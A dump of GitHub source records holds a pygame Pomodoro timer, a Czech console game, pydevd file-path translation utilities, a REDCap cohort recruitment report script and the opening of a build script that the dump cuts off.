+{"seq_id":"12774599034","text":"# almost pomodoro timer\n\n\n\"\"\" DONE:\n    # CREATED POMODORO WINDOW\n    # DISPLAYED TEXT FOR TIME: PAUSE, RESUME, RESTART BUTTON\n    # TIME CONTINUES AFTER HITTING PAUSE AS IF IT WEREN'T HIT\n    # PAUSE: STOPS @ CURRENT TIME DISPLAY & IF CLICKED AGAIN --> RESUMES FROM CURRENT TIME\n    # RESTART: ZEROS OUT TIME & RESTARTS TIME\n    # CREATED MENU OPTION FOR 25 study x 5 break x 20 break min & worked out logic to execute it\n    # CREATED MENU OPTION FOR 30 study x 10 break x 20 break min & worked out logic to execute it\n\n\n\n# NEED TO GET DONE:\n    # CREATE A SOUND TO RING ONCE BREAK_TIME HITS & TIMER ENDS\n    # MAKE THE DISPLAY TEXT FOR 'BREAK' / 'STUDY' STAY LONGER ON THE SCREEN\n    # MAKE IT COOLER LOOKING (NOT NECESSARY, BUT IT WOULD BE PRIDDY COO)\n\n\"\"\"\n\nimport pygame\n\nimport time\n\nfrom pygame import font\n\n\n#initialize pygame library\npygame.init()\n\n\n# set screen dimensions & initialize screen object [playing area]\nscreen = pygame.display.set_mode([300,300])\n\n# set caption for window\npygame.display.set_caption('Pomodoro Timer')\n\n\n# key methods from pygame.locals for event detection\nfrom pygame.locals import (\n\n    MOUSEBUTTONDOWN,\n    MOUSEBUTTONUP,\n    KEYDOWN,\n    QUIT,\n\n)\n\n\n# creating button object\nclass button:\n\n    def __init__(self, size, color):\n\n        self.SURFACE = pygame.Surface(size)\n        self.SURFACE.fill(color)\n        self.rect = self.SURFACE.get_rect() # initialize button object\n        \n        \n    \n\n# set font object\ndef setFont(name, size):\n    pygame.font.init()\n    font = pygame.font.SysFont(name, size)\n    return font\n\nstop = 0\n        \n\npauseButton = button((70,30),(200,200,0)) # yellow pause button\nmenuButton = button((70,30),(0, 255,0)) # green menu button\nrestartButton = button((70,30), (244,30,230)) # purple restart button\n\n\n# menu / loop option buttons\ntwenty5_Button = button((190,40), (255,0,0)) # red 25 min timer x 5 min break\nthirty10_Button = button((190,40), (0, 255, 0)) # green 30 min timer x 10 min break\n\n# for time\nsecs, mins, hours = 0,0,0\n\ntimeList = []\n\n# IMPORTANT: KEEP FLAG / TRIGGER DECLARATION OUT OF WHILE LOOP FOR CONTROL\nflag = '' # operation flag\npaused = 0 # pause flag\nmenu = 0 # menu flag\n\n# counter for 25 x 5 loop to toggle time intervals \ntwenty5Count = 1\n\n# counter for 30 x 10 loop to toggle time intervals\nthirty10Count = 1\n\n# counter for time loop to toggle 'RESTART' \nsetCount = 0\n\n# countDown flag bool\ncountDown = False\n\n# countDown2 flag bool\ncountDown2 = False\n\nclock = pygame.time.Clock()\n\n# main game loop\nrun = True\nwhile run:\n\n    # by default # sets completed --> 0\n    setCount = 0\n\n    black = (0,0,0)\n    screen.fill(black)\n\n    x,y = pygame.mouse.get_pos()\n\n    # setting font style\n    font = setFont('bahnschrift',50)\n\n    # button font\n    butFont = setFont('bahnschrift',12)\n\n    # menu option font\n    menuFont = setFont('bahnschrift', 25)\n\n    # end font\n    endFont = setFont('bahnschrift', 18)\n\n    # setting text for pause, menu, and restart text\n    pauseText = butFont.render('PAUSE', True, (0,0,0))\n    menuText = butFont.render('MENU', True, (0,0,0))\n    restartText = butFont.render('RESTART', True, (0,0,0))\n\n    # setting text for menu-option buttons\n    twentyText = menuFont.render('25 MIN X 5 MIN', True, (0,0,0))\n    thirtyText = menuFont.render('30 MIN X 10 MIN', True, (0,0,0))\n\n    for event in pygame.event.get():\n\n        if event.type == pygame.QUIT:\n            run = False\n\n        # check if click has been made since last iter\n        if event.type == pygame.MOUSEBUTTONUP:\n\n            # menu is not triggered\n            if menu == False:\n                # 'pause' button is clicked\n                if (30 < x < 120 and 170 < y < 200) and event.button == 1:\n                    flag = 'PAUSE'\n\n                    if paused: # clock is already paused & pause is clicked again\n                        flag = 'START' # start clock\n                        paused = False # no longer paused\n\n                # 'menu' button is clicked --> menu trigger\n                if (180 < x < 255 and 170 < y < 200) and event.button == 1:\n                    flag = 'MENU'\n\n                # 'restart' button is clicked --> resume\n                if (30 < x < 120 and 230 < y < 260) and event.button == 1:\n                    flag = 'RESTART'\n\n            # menu is triggered\n            if menu == True:\n                # 25 min x 5 break button is clicked\n                if (50 < x < 240 and 10 < y < 50) and event.button == 1:\n                    flag = 'TWENTY5BYFIVE'\n\n                # 30 min x 10 break button is clicked\n                if (50 < x < 240 and 100 < y < 140) and event.button == 1:\n                    flag = 'THIRTYBY10'\n                \n\n\n\n        \n    # display cursor coordinates for testing\n    print(pygame.mouse.get_pos())\n    \n    # game time starts\n    start = time.time()\n\n    x,y = pygame.mouse.get_pos()\n    \n    click = pygame.mouse.get_pressed()[0]\n\n    # check if re-start has been triggered\n    if(secs == 0 and mins == 0 and hours == 0):\n        flag = 'START'\n\n    # check for 25 x 5 min break trigger\n    if(secs == 0 and mins == 0 and hours == 0 and countDown == True):\n        flag = 'COUNTDOWN'\n\n    # check for 30 x 10 min break trigger\n    if(secs == 0 and mins == 0 and hours == 0 and countDown2 == True):\n        flag = 'COUNTDOWN2'\n\n\n    # check for pause flag\n    if(secs == 1.1 and mins == 1.1 and hours == 0):\n        flag == 'PAUSE'\n\n    # setting text for hour : minute : second display\n    secondDisplay = font.render('{:02d}'.format(int(secs)), True, (255,255,255))\n    minuteDisplay = font.render('{:02d}'.format(int(mins)), True, (255,255,255))\n    hourDisplay = font.render('{:02d}'.format(int(hours)), True, (255,255,255))\n\n    # break display for count down & pomodoro loops\n    breakDisplay = font.render('BREAK', True, (255, 0 , 0))\n\n    # study display for count down & pomodoro loops\n    studyDisplay = font.render('STUDY', True, (0, 200, 250))\n\n    # end display for count down & pomodoro loops\n    endDisplay = endFont.render('TO RESTART NAVIGATE TO MENU', True, (0, 200, 0))\n\n    # if not menu ---> regular display\n    if menu == False:\n\n         # literally draw the hour : minute : second display\n        screen.blit(secondDisplay, (190,90))\n        screen.blit(minuteDisplay, (120,90))\n        screen.blit(hourDisplay, (50,90))\n\n            # literally draw the start & stop button\n        screen.blit(pauseButton.SURFACE, (40, 170))\n        screen.blit(menuButton.SURFACE, (180, 170))\n        screen.blit(restartButton.SURFACE, (40, 230))\n\n            # write text on start & stop buttons\n        screen.blit(pauseText, (55,175))\n        screen.blit(menuText, (190,175))\n        screen.blit(restartText, (55, 235))\n\n        if flag == 'PAUSE':\n            paused = True\n        elif flag == 'RESTART':\n            secs, mins, hours = 0,0,0\n        elif flag == 'START':\n            # parameterizing seconds & converting to minutes & hours\n            secs+=(.25)\n            time.sleep(.25) # more responsive\n\n            if secs == 60:\n                secs = 0\n                mins += 1\n\n            if mins == 60:\n                mins = 0\n                hours += 1\n        \n        elif flag == 'COUNTDOWN':\n            \n            screen.fill(black)\n\n            # literally draw the hour : minute : second display\n            screen.blit(secondDisplay, (190,90))\n            screen.blit(minuteDisplay, (120,90))\n            screen.blit(hourDisplay, (50,90))\n\n            # toggle start button to say 'SKIP'\n            restartText = butFont.render('SKIP', True, (0,0,0))\n            screen.blit(restartButton.SURFACE, (40, 230))\n            screen.blit(restartText, (55, 235))\n\n            secs-=(.25)\n            time.sleep(.25)\n\n            # countdown to 0 min\n            if secs <= 0:\n                secs = 59\n                mins -= 1\n            \n            # once 25 min over --> 5 min break\n            # IDEA: DISPLAY --> '5 MINUTE BREAK' TEXT\n            if mins < 0:\n                \n                secs = 0\n                mins = 0\n\n                if(setCount < 1):\n                \n                    # study time -- 25 min\n                    if twenty5Count%2 == 1 and twenty5Count != 7:\n                        mins = 25\n                        secs = 0\n                        screen.blit(studyDisplay, (70, 20))\n\n                    # 20 min break -- larger\n                    elif twenty5Count == 6:\n                        mins = 20\n                        secs = 0\n                        screen.blit(breakDisplay, (70, 20))\n\n                    # if set --> end loop\n                    elif twenty5Count == 7:\n                        setCount+=1\n                        twenty5Count = 0\n                        screen.blit(endDisplay, (5, 20))\n\n                    #  5 mins break -- regular\n                    elif twenty5Count%2 == 0:\n                        mins = 5\n                        secs = 0\n                        screen.blit(breakDisplay, (70, 20))\n\n                    twenty5Count+=1\n\n            # once set is complete, exit countDown mode\n            if setCount == 1:\n\n                countDown = False\n\n        \n        elif flag == 'COUNTDOWN2':\n\n            screen.fill(black)\n\n            # literally draw the hour : minute : second display\n            screen.blit(secondDisplay, (190,90))\n            screen.blit(minuteDisplay, (120,90))\n            screen.blit(hourDisplay, (50,90))\n\n            # toggle start button to say 'SKIP'\n            restartText = butFont.render('SKIP', True, (0,0,0))\n            screen.blit(restartButton.SURFACE, (40, 230))\n            screen.blit(restartText, (55, 235))\n\n            secs-=(.25)\n            time.sleep(.25)\n\n            # countdown to 0 min\n            if secs <= 0:\n                secs = 59\n                mins -= 1\n            \n            # once 30 min over --> 10 min break\n            # IDEA: DISPLAY --> '5 MINUTE BREAK' TEXT\n            if mins < 0:\n                \n                secs = 0\n                mins = 0\n\n                if(setCount < 1):\n                \n                    # study time -- 30 min\n                    if thirty10Count%2 == 1 and thirty10Count != 7:\n                        mins = 30\n                        secs = 0\n                        screen.blit(studyDisplay, (70, 20))\n\n                    # 20 min break -- larger\n                    elif thirty10Count == 6:\n                        mins = 20\n                        secs = 0\n                        screen.blit(breakDisplay, (70, 20))\n\n                    # if set --> end loop\n                    elif thirty10Count == 7:\n                        setCount+=1\n                        thirty10Count = 0\n                        screen.blit(endDisplay, (5, 20))\n\n                    #  10 mins break -- regular\n                    elif thirty10Count%2 == 0:\n                        mins = 10\n                        secs = 0\n                        screen.blit(breakDisplay, (70, 20))\n\n                    thirty10Count+=1\n\n            # once set is complete, exit countDown2 mode\n            if setCount == 1:\n\n                countDown2 = False\n\n\n            \n            \n\n\n            \n            # after 3 sets of 25 min work + 2 sets of 5 min break + 1 set of 20 min break\n            # RESTART APP --> BY COUNTING REGULARLY FROM ZERO\n\n\n                \n\n\n        \n        # before menu click --> false, after menu click --> true\n        elif flag == 'MENU':\n            menu = True\n\n        # timer for 25 min x 5 min\n        elif flag == 'TWENTY5BYFIVE':\n            secs, mins, hours, countDown = 0,0,0,True\n\n        # timer for 30 min x 10 min\n        elif flag == 'THIRTYBY10':\n            secs, mins, hours, countDown2 = 0,0,0,True\n            \n    \n    # menu is displaying\n    if menu == True:\n\n        # black out full timer\n        screen.fill(black)\n        \n        # literally draw the menu option buttons\n        screen.blit(twenty5_Button.SURFACE, (50, 10))\n        screen.blit(thirty10_Button.SURFACE, (50, 100))\n        \n        # draw the menu text onto the menu option buttons\n        screen.blit(twentyText, (55, 10))\n        screen.blit(thirtyText, (55, 100))\n\n        # user clicks 25 min x 5 min break\n        if flag == 'TWENTY5BYFIVE':\n\n            # exit menu & run menu-false condition\n            menu = False\n\n        # user clicks 30 min x 10 min break\n        elif flag == 'THIRTYBY10':\n\n            # exit menu & run menu-false condition\n            menu = False\n\n\n\n        # MENU IDEA:\n        # -- CREATE MORE OPTIONS FROM BLACKED OUT TIMER FOR LOOP / BREAK INTERVALS\n        # -- ONCE OPTION IS CLICKED, UPDATE TIMER W/TIMER AMOUNT\n        # -- COUNT UNTIL TIME HIT --> SOUND --> BREAK\n        \n\n\n    # update screen\n    pygame.display.update()\n\n# running false --> quit\npygame.quit()\n\n","repo_name":"pekkalacd/pygame-projects","sub_path":"almost_pomodoro timer.py","file_name":"almost_pomodoro timer.py","file_ext":"py","file_size_in_byte":12829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7294062976","text":"from random import randint\n\ndef new_game(rows, cols):\n    out = []\n    for row in range (0, rows):\n        x = []\n        for col in range (0, cols):\n            x.append(' ')\n        out.append(x)\n    return out\n\ndef put(game, stone, row, col):\n    cols = len (game[0])\n    rows = len (game)\n\n    for x in range (row - 1, row +2):\n        if (x >= 0 and x < rows):\n            for y in range (col-1, col +2):\n                if (y >= 0 and y < cols):\n                    game[x][y] = '*'\n    game[row][col] = stone\n\n\ndef index_row(size):\n    #row with numbers\n    print (\"    \", end='')\n    for i in range (0, size):\n        print ('', i, '', end='')\n        if (i < 10):\n            print (' ', end='')\n    print ('')\n        \ndef line(size):\n    #upper border of plan    \n    print (\"   +\", end='')\n    for i in range (0, size):\n        print(\"---+\", end='')\n    print ('')\n\ndef init_row(number):\n    if number < 10:\n        print (' ', end='')\n    print (number, \"|\", end='')\n    \ndef draw_game(game):\n    cols = len (game[0])\n    rows = len (game)\n\n    index_row(cols)\n    line(cols)\n    \n    for x in range (0, rows):\n        init_row(x)\n        for y in range (0, cols):\n            print ('', game[x][y], '|', end='')\n        print('')\n        line(cols)\n    print('')\n\ndef is_over(game):\n    cols = len (game[0])\n    rows = len (game)\n    for x in range (0, rows):\n        for y in range (0, cols):\n            if game[x][y] == ' ':\n                return False\n    return True\n\ndef distance(x,y):\n    if (abs(x[0]-y[0])>abs(x[1]-y[1])):\n        return abs(x[0]-y[0])\n    else:\n        return abs(x[1]-y[1])\n\ndef spaces_create(game):\n    cols = len (game[0])\n    rows = len (game)\n    \n    spaces=[]\n    for x in range (0, rows):\n        for y in range (0, cols):\n            if (game[x][y]) == ' ':\n                spaces.append((x,y))\n    return spaces\n\ndef distance_big (spaces):\n    for i in range (0, len(spaces)):\n        for j in range (i+1, len(spaces)):\n            if distance(spaces[i], spaces[j])>3:\n                return True\n    return False\n\ndef sector (spaces, p):\n    for x in spaces:\n        flag = True\n        for y in spaces:\n            if distance(x,y)>1:\n                flag = False\n        if flag:\n            p[0] = x[0]\n            p[1] = x[1]\n            return True\n    return False\n    \ndef win(game, p):\n    cols = len (game[0])\n    rows = len (game)\n    \n    spaces = spaces_create(game)\n\n    if distance_big(spaces):\n        return False\n    return sector(spaces, p)\n    \ndef random (game, p):\n    cols = len (game[0])\n    rows = len (game)\n    \n    p[0] = randint(0, rows -1)\n    p[1] = randint(0, cols -1)\n\n    while game[p[0]][p[1]] != ' ':\n        p[0] = randint(0, rows -1)\n        p[1] = randint(0, cols -1)\n        \ndef strategy(game):\n    p = [0,0]\n    if win(game, p) == False:\n        random (game, p)\n    return (p[0], p[1])\n\ndef turn_PC(g):\n    point = strategy(g)\n    draw_game(g)\n    put(g, 'X', point[0], point[1])\n    print (\"Na tahu je počítač.\")\n    print (\"Počítač hraje na pozici (řádek\", point[0], ',sloupec', point[1], ')')\n\ndef load_str(parameter):\n     x = input()\n     while x.isdigit()== False:\n        print (\"Nevalidní znak.\")\n        print (\"Zadej \" + parameter + ': ', end='')\n        x = input()\n     return x\n    \ndef out_of_range (x, limit):\n    if (x >=0 and x < limit):\n        return False;\n    return True\n\ndef load_val(parameter, limit):\n    x = int(load_str(parameter))\n    \n    while out_of_range(x, limit):\n        print (\"Nevalidní index.\")\n        print (\"Zadej \" + parameter + ': ', end='')\n        x = int(load_str(parameter))\n    return x\n\ndef turn_human(g):\n    draw_game(g)\n    print (\"Na tahu je člověk.\")\n    \n    print (\"Zadej řádek: \", end='')\n    x = load_val(\"řádek\", len(g))\n    print (\"Zadej sloupec: \", end='')\n    y = load_val(\"sloupec\", len(g[0]))\n    while g[x][y] != ' ':\n        print (\"Neplatná pozice.\")\n        \n        print (\"Zadej řádek: \", end='')\n        x = load_val(\"řádek\", len(g))\n        print (\"Zadej sloupec: \", end='')\n        y = load_val(\"sloupec\", len(g[0]))\n    \n    put(g, 'O', x, y)    \n\ndef play_obstruction(rows, cols, human_starts=True):\n    g = new_game(rows, cols)\n    human = human_starts\n\n    while is_over(g)==False:\n        if human:\n            turn_human(g)\n            human = False\n        else:\n            turn_PC(g)\n            human = True\n        print('')\n            \n    draw_game(g)        \n    if (human):\n        print (\"Prohrál jsi.\")\n    else:\n        print (\"Vyhrál jsi.\")\n    \n        \n    \n","repo_name":"vagundamarek/school_projects","sub_path":"python_scripts/du4.py","file_name":"du4.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29327982098","text":"'''\r\n    This module provides utilities to get the absolute filenames so that we can be sure that:\r\n        - The case of a file will match the actual file in the filesystem (otherwise breakpoints won't be hit).\r\n        - Providing means for the user to make path conversions when doing a remote debugging session in\r\n          one machine and debugging in another.\r\n    \r\n    To do that, the PATHS_FROM_CLIENT_TO_SERVER constant must be filled with the appropriate paths.\r\n    \r\n    E.g.: \r\n        If the server has the structure\r\n            /user/projects/my_project/src/package/module1.py  \r\n        \r\n        and the client has: \r\n            c:\\my_project\\src\\package\\module1.py  \r\n            \r\n        the PATHS_FROM_CLIENT_TO_SERVER would have to be:\r\n            PATHS_FROM_CLIENT_TO_SERVER = [(r'c:\\my_project\\src', r'/user/projects/my_project/src')]\r\n    \r\n    @note: DEBUG_CLIENT_SERVER_TRANSLATION can be set to True to debug the result of those translations\r\n    \r\n    @note: the case of the paths is important! Note that this can be tricky to get right when one machine\r\n    uses a case-independent filesystem and the other uses a case-dependent filesystem (if the system being\r\n    debugged is case-independent, 'normcase()' should be used on the paths defined in PATHS_FROM_CLIENT_TO_SERVER). \r\n    \r\n    @note: all the paths with breakpoints must be translated (otherwise they won't be found in the server)\r\n    \r\n    @note: to enable remote debugging in the target machine (pydev extensions in the eclipse installation)\r\n        import pydevd;pydevd.settrace(host, stdoutToServer, stderrToServer, port, suspend)\r\n        \r\n        see parameter docs on pydevd.py\r\n        \r\n    @note: for doing a remote debugging session, all the pydevd_ files must be on the server accessible \r\n        through the PYTHONPATH (and the PATHS_FROM_CLIENT_TO_SERVER only needs to be set on the target \r\n        machine for the paths that'll actually have breakpoints).\r\n'''\r\n\r\n\r\n\r\n\r\nfrom pydevd_constants import * #@UnusedWildImport\r\nimport os.path\r\nimport sys\r\nimport traceback\r\n\r\nnormcase = os.path.normcase\r\nbasename = os.path.basename\r\nexists = os.path.exists\r\njoin = os.path.join\r\n\r\ntry:\r\n    rPath = os.path.realpath #@UndefinedVariable\r\nexcept:\r\n    # jython does not support os.path.realpath\r\n    # realpath is a no-op on systems without islink support\r\n    rPath = os.path.abspath \r\n  \r\n#defined as a list of tuples where the 1st element of the tuple is the path in the client machine\r\n#and the 2nd element is the path in the server machine.\r\n#see module docstring for more details.\r\nPATHS_FROM_CLIENT_TO_SERVER = []\r\n\r\n#example:\r\n#PATHS_FROM_CLIENT_TO_SERVER = [\r\n#(normcase(r'd:\\temp\\temp_workspace_2\\test_python\\src\\yyy\\yyy'),\r\n# normcase(r'd:\\temp\\temp_workspace_2\\test_python\\src\\hhh\\xxx'))]\r\n\r\nDEBUG_CLIENT_SERVER_TRANSLATION = False\r\n\r\n#caches filled as requested during the debug session\r\nNORM_FILENAME_CONTAINER = {}\r\nNORM_FILENAME_AND_BASE_CONTAINER = {}\r\nNORM_FILENAME_TO_SERVER_CONTAINER = {}\r\nNORM_FILENAME_TO_CLIENT_CONTAINER = {}\r\n\r\n\r\ndef _NormFile(filename):\r\n    try:\r\n        return NORM_FILENAME_CONTAINER[filename]\r\n    except KeyError:\r\n        r = normcase(rPath(filename))\r\n        #cache it for fast access later\r\n        NORM_FILENAME_CONTAINER[filename] = r\r\n        return r\r\n    \r\n#Now, let's do a quick test to see if we're working with a version of python that has no problems\r\n#related to the names generated...\r\ntry:\r\n    if not exists(_NormFile(rPath.func_code.co_filename)):\r\n        print >> sys.stderr, '-------------------------------------------------------------------------------'\r\n        print >> sys.stderr, 'pydev debugger: CRITICAL WARNING: This version of python seems to be incorrectly compiled (internal generated filenames are not absolute)'\r\n        print >> sys.stderr, 'pydev debugger: The debugger may still function, but it will work slower and may miss breakpoints.'\r\n        print >> sys.stderr, 'pydev debugger: Related bug: http://bugs.python.org/issue1666807'\r\n        print >> sys.stderr, '-------------------------------------------------------------------------------'\r\n        \r\n        initial_norm_file = _NormFile\r\n        def _NormFile(filename): #Let's redefine _NormFile to work with paths that may be incorrect\r\n            ret = initial_norm_file(filename)\r\n            if not exists(ret):\r\n                #We must actually go on and check if we can find it as if it was a relative path for some of the paths in the pythonpath\r\n                for path in sys.path:\r\n                    ret = initial_norm_file(join(path, filename))\r\n                    if exists(ret):\r\n                        break\r\n                else:\r\n                    print >> sys.stderr, 'pydev debugger: Unable to find real location for: %s' % filename\r\n                    ret = filename\r\n                \r\n            return ret\r\nexcept:\r\n    #Don't fail if there's something not correct here -- but at least print it to the user so that we can correct that\r\n    traceback.print_exc()\r\n\r\n\r\nif PATHS_FROM_CLIENT_TO_SERVER:\r\n    #only setup translation functions if absolutely needed! \r\n    def NormFileToServer(filename): \r\n        try:\r\n            return NORM_FILENAME_TO_SERVER_CONTAINER[filename]\r\n        except KeyError:\r\n            #used to translate a path from the client to the debug server\r\n            translated = normcase(filename)\r\n            for client_prefix, server_prefix in PATHS_FROM_CLIENT_TO_SERVER:\r\n                if translated.startswith(client_prefix):\r\n                    if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                        print >> sys.stderr, 'pydev debugger: replacing to server', translated\r\n                    translated = translated.replace(client_prefix, server_prefix)\r\n                    if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                        print >> sys.stderr, 'pydev debugger: sent to server', translated\r\n                    break\r\n            else:\r\n                if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                    print >> sys.stderr, 'pydev debugger: unable to find matching prefix for: %s in %s' % \\\r\n                        (translated, [x[0] for x in PATHS_FROM_CLIENT_TO_SERVER])\r\n                    \r\n            ret = _NormFile(translated)\r\n            NORM_FILENAME_TO_SERVER_CONTAINER[filename] = translated\r\n            return ret\r\n        \r\n    \r\n    def NormFileToClient(filename): \r\n        try:\r\n            return NORM_FILENAME_TO_CLIENT_CONTAINER[filename]\r\n        except KeyError:\r\n            #used to translate a path from the debug server to the client\r\n            translated = normcase(filename)\r\n            for client_prefix, server_prefix in PATHS_FROM_CLIENT_TO_SERVER:\r\n                if translated.startswith(server_prefix):\r\n                    if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                        print >> sys.stderr, 'pydev debugger: replacing to client', translated\r\n                    translated = translated.replace(server_prefix, client_prefix)\r\n                    if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                        print >> sys.stderr, 'pydev debugger: sent to client', translated\r\n                    break\r\n            else:\r\n                if DEBUG_CLIENT_SERVER_TRANSLATION:\r\n                    print >> sys.stderr, 'pydev debugger: unable to find matching prefix for: %s in %s' % \\\r\n                        (translated, [x[1] for x in PATHS_FROM_CLIENT_TO_SERVER])\r\n                        \r\n            ret = _NormFile(translated)\r\n            NORM_FILENAME_TO_CLIENT_CONTAINER[filename] = ret\r\n            return ret\r\n        \r\nelse:\r\n    #no translation step needed (just inline the calls)\r\n    NormFileToClient = _NormFile\r\n    NormFileToServer = _NormFile\r\n    \r\n\r\ndef GetFilenameAndBase(frame):\r\n    #This one is just internal (so, does not need any kind of client-server translation)\r\n    f = frame.f_code.co_filename\r\n    try:\r\n        return NORM_FILENAME_AND_BASE_CONTAINER[f]\r\n    except KeyError:\r\n        filename = _NormFile(f)\r\n        base = basename(filename)\r\n        NORM_FILENAME_AND_BASE_CONTAINER[f] = filename, base\r\n        return filename, base\r\n","repo_name":"joelsemar/django-webservice-tools","sub_path":"webservice_tools/misc/pydevd/pydevd_file_utils.py","file_name":"pydevd_file_utils.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"42352238487","text":"#!/usr/bin/env python\n\nfrom datetime import datetime\nimport pandas as pd\nimport redcap\nimport params\nimport cohorts\nimport tokens\n\n__author__ = \"Andreu Bofill Pumaorla\"\n__copyright__ = \"Copyright 2023, ISGlobal Maternal, Child and Reproductive Health\"\n__credits__ = [\"Andreu Bofill Pumarola\"]\n__license__ = \"MIT\"\n__version__ = \"0.0.1\"\n__date__ = \"20230227\"\n__maintainer__ = \"Andreu Bofill\"\n__email__ = \"andreu.bofill@isglobal.org\"\n__status__ = \"Dev\"\n\n\nif __name__ == '__main__':\n    # Read the COHORT PARTICIPATNS AND CREATE GOOGLE SHEETS\n    print(\"COHORT PENDING RECRUITMENTS SCRIPT.\\n\")\n    writer = pd.ExcelWriter(params.EXCEL_PATH)\n    writer_summary = pd.ExcelWriter(params.SUMMARY_PATH)\n    summary_sheet = None\n    for project_key in params.TRIAL_PROJECTS:\n\n        cohort_list_df = pd.read_excel(params.COHORT_RECRUITMENT_PATH, str(datetime.now().month))\n\n        if project_key == \"HF13\" and str(datetime.now().month) == \"6\":\n            new_min_age = cohort_list_df[cohort_list_df['HF']=='HF13']['min_age'].values[0]\n            new_max_age = cohort_list_df[cohort_list_df['HF']=='HF13']['max_age'].values[0]\n            additional_list = cohorts.additional_recruitments_from_another_hf(['HF16.01', 'HF16.02', 'HF16.03'], 'HF13',new_min_age,new_max_age)\n\n        cohort_list_df = pd.read_excel(params.COHORT_RECRUITMENT_PATH, str(datetime.now().month))\n        if project_key.split(\".\")[0] in cohort_list_df['HF'].unique():\n            project = redcap.Project(params.URL, params.TRIAL_PROJECTS[project_key])\n            # Get all records for each ICARIA REDCap project (TRIAL)\n            print(\"[{}] Getting records from {}...\".format(datetime.now(), project_key))\n            df = project.export_records(format='df', fields=params.ALERT_LOGIC_FIELDS)\n            xres = df.reset_index()\n            cohort_df = df[~df['ch_his_date'].isnull()].reset_index()[['record_id', 'ch_his_date']]\n            cohort_ids = df[~df['ch_his_date'].isnull()].reset_index()['record_id'].unique()\n            cohort_letters = xres[(xres['record_id'].isin(cohort_ids)) & (~xres['int_random_letter'].isnull())].groupby('record_id')['int_random_letter'].max()\n\n            summary_sheet_part = cohorts.excel_creation(project_key=project_key, redcap_project=project,\n                                                        redcap_project_df=df, excelwriter=writer)\n            if summary_sheet_part is not None:\n                if summary_sheet is None:\n                    summary_sheet = summary_sheet_part\n                else:\n                    summary_sheet = pd.concat([summary_sheet, summary_sheet_part])\n\n#    summary_sheet.to_excel(writer_summary, 'SUMMARY', index=False)\n#    writer_summary.close()\n    writer.close()\n    cohorts.file_to_drive(params.EXCEL_PATH)\n\n    print(\"\\n\\nCOHORT SUMMARY SCRIPT\\n\")\n    for month in ['10']:\n        print(\"Getting actual cohorts for month {}\".format(month))\n        stop_dict = {}\n        group1_df = pd.DataFrame(columns=['A', 'B', 'C', 'D', 'E', 'F'])\n        month_expected,hf_per_month,nletter_list = cohorts.cohort_summary_expected(month)\n        for project_key in params.TRIAL_PROJECTS:\n            if project_key.split(\".\")[0] in hf_per_month:\n                print(\"[{}] Getting COHORT records from {} for month {}...\".format(datetime.now(), project_key,month))\n                project = redcap.Project(tokens.URL, tokens.REDCAP_PROJECTS_ICARIA[project_key])\n\n                stop_df = project.export_records(format='df', fields=params.ALERT_LOGIC_FIELDS)\n\n                current_month = datetime.now().month\n                cohort_list_df = pd.read_excel(params.COHORT_RECRUITMENT_PATH, str(current_month))\n                big_project_key = project_key.split(\".\")[0]\n                #print(big_project_key,cohort_list_df['HF'].unique())\n                if big_project_key.split(\".\")[0] in cohort_list_df['HF'].unique():\n                    min_age = cohort_list_df[cohort_list_df['HF'] == big_project_key]['min_age'].unique()[0]\n                    max_age = cohort_list_df[cohort_list_df['HF'] == big_project_key]['max_age'].unique()[0]\n                    min_age2 = cohort_list_df[cohort_list_df['HF'] == big_project_key]['min_age2'].unique()[0]\n                    max_age2 = cohort_list_df[cohort_list_df['HF'] == big_project_key]['max_age2'].unique()[0]\n                    nletter = cohort_list_df[cohort_list_df['HF'] == big_project_key]['target_letter'].unique()[0]\n\n                if project_key == \"HF13\" and month=='06':\n                    stop = cohorts.cohort_stopping_sistem(stop_df, nletter_list[project_key.split(\".\")[0]], project_key,date_=\"2023-\" + month, min_age=min_age, max_age=max_age,additional=['HF13',['HF16.01', 'HF16.02', 'HF16.03']])\n                else:\n                    stop = cohorts.cohort_stopping_sistem(stop_df,nletter_list[project_key.split(\".\")[0]],project_key,date_=\"2023-\"+month,min_age=min_age2,max_age=max_age2)\n                if project_key.split(\".\")[0] not in stop_dict:\n                    stop_dict[project_key.split(\".\")[0]] = stop\n                else:\n                    pass\n                group1_df = cohorts.export_records_summary(project,project_key,['study_number','ch_his_date','ch_rdt_date'],\"[ch_his_date]!=''\",group1_df,month,min_age2,max_age2).fillna(0)\n        print (\"Groups Preparation . . . \")\n        group =cohorts.groups_preparation(group1_df,month_expected,stop_dict)\n        print(group)\n        print (\"Writing the drive sheet . . .\")\n        cohorts.file_to_drive_summary(month,group)\n    print(\"FINISHED .\")","repo_name":"ISGLOBAL-ICARIA/py_icaria_cohort_report","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9868882555","text":"#!../../../Main/Tools/python-3.9.5/bin python3\n\n\n\"\"\"\n    File name: apollo_build_script.py\n    Author: dingjiangang\n    Date created: 12/03/2022\n    Python Version: 3.9.5\n    Description: Script used to build for supported platforms, host, qc8, nvidia and so on\n\nFor reference, below is legacy shell comands used earlier to build the project.\n#!/bin/bash\n\"\"\"\n\n\n\nimport os\nimport sys\nimport traceback\ntoolsbasepath = os.environ[\"TOOL_BASE_PATH\"]\nos.environ[\"CC\"] = \"/usr/bin/gcc\"\nos.environ[\"CXX\"] = \"/usr/bin/g++\"\nbuildutilspath = os.path.join(toolsbasepath, \"ApolloBuildEnv\")\nsys.path.append(buildutilspath)\nfrom buildUtils import BuildUtils\n\n###############################################################################\n\nif __name__ == \"__main__\":\n    try:\n        buildUtility = BuildUtils()\n        buildUtility.prepareWorkSpace()\n        buildUtility.parseAndValidateInputs()\n        if buildUtility.m_BUILD_CLEAN:\n            buildUtility.buildClean()\n        if buildUtility.m_SYNC:\n            buildUtility.repoSync()\n        if buildUtility.m_REPO_RESET:\n            